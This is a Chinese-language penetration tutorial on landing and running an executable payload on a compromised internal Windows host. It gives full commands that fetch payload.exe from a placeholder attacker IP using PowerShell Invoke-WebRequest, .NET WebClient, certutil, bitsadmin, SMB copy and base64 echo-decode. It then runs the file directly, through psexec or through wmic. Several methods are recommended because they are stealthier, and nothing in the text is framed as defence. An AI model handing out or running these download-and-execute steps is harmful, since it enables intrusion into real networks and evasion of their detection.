内网文件 exe 落地怎么去做,用什么命令去执行来落地
1. 文件落地前的准备
在执行文件落地之前,你需要做好以下准备工作:
- 选择合适的工具:你需要一个轻量、隐蔽、功能强大的工具,例如
meterpreter
,它支持直接在内存中执行 Shellcode,避免文件落地。如果你必须落地文件,可以选择用 C++ 或 Go 等语言编写的、没有明显恶意特征的自定义 Payload - 设置文件服务器:在你的攻击机上,你需要搭建一个简单的 Web 服务器或 SMB 服务器,以便目标机器能够下载文件
- HTTP 服务器:在 Python 中,你可以用一行命令快速启动一个 HTTP 服务器:
python3 -m http.server 80
- SMB 服务器:使用
Impacket
工具包中的smbserver.py
脚本,可以搭建一个 SMB 服务器
- HTTP 服务器:在 Python 中,你可以用一行命令快速启动一个 HTTP 服务器:
2. 内网文件落地常用命令
一旦你获得了目标机器的权限,就可以使用以下命令来下载文件:
方法一:使用 PowerShell (推荐)
PowerShell 是现代 Windows 系统自带的强大脚本语言,也是渗透测试中最常用的文件落地工具
使用
Invoke-WebRequest
或iwr
这是最常用的方法,它可以在后台下载文件,并且功能强大# 下载文件并保存到指定路径 Invoke-WebRequest -Uri http://<攻击机IP>/payload.exe -OutFile C:\Users\Public\payload.exe # 或者使用别名 iwr http://<攻击机IP>/payload.exe -OutFile C:\Users\Public\payload.exe
使用
.NET
对象 这种方法更隐蔽,因为它直接调用 .NET 库,而不是通过一个特定的 cmdlet$WebClient = New-Object System.Net.WebClient $WebClient.DownloadFile("http://<攻击机IP>/payload.exe", "C:\Users\Public\payload.exe")
方法二:使用 certutil
certutil
是 Windows 系统自带的命令行工具,通常用于管理证书,但它也提供了下载文件的功能
下载命令
certutil -urlcache -split -f "http://<攻击机IP>/payload.exe" C:\Users\Public\payload.exe
-urlcache
:允许从 URL 下载-split
:将下载的文件保存为独立文件-f
:强制下载文件
方法三:使用 bitsadmin
bitsadmin
是 Windows 后台智能传输服务(BITS)的命令行工具。BITS 服务主要用于在网络中断后自动恢复下载,非常适合在不稳定网络环境下使用
下载命令
bitsadmin /transfer myjob http://<攻击机IP>/payload.exe C:\Users\Public\payload.exe
方法四:使用 SMB 协议
如果你在攻击机上搭建了 SMB 服务器,可以直接通过 SMB 协议传输文件,这在许多环境中比 HTTP 更隐蔽
下载命令
copy \\<攻击机IP>\share\payload.exe C:\Users\Public\payload.exe
方法五:将文件内容写入文件
这是一个非常隐蔽的方法,特别适用于 Shell 权限受限,无法直接执行下载命令的情况
原理:你将文件的二进制内容转换为文本格式(例如十六进制字符串),然后通过
echo
命令或certutil -decode
等方式,将文本内容写入一个新文件,并将其解码为可执行文件示例
在攻击机上,将
payload.exe
转换为 Base64 编码:base64 payload.exe > payload.b64
在目标机上,使用
echo
将 Base64 字符串写入一个临时文件:echo <base64编码字符串> > C:\Users\Public\payload.b64
使用
certutil
将 Base64 文件解码为可执行文件:certutil -decode C:\Users\Public\payload.b64 C:\Users\Public\payload.exe
3. 文件落地后的执行
文件落地成功后,你需要执行它。执行命令取决于你获得的权限
在命令行中直接执行 如果你已经获得了 Shell,可以直接输入文件路径来执行:
C:\Users\Public\payload.exe
使用
psexec
如果你有域管理员权限,可以使用psexec
在目标机器上远程执行文件使用 WMI 利用 Windows Management Instrumentation (WMI),你可以通过远程方式在目标机器上执行进程
wmic process call create "C:\Users\Public\payload.exe"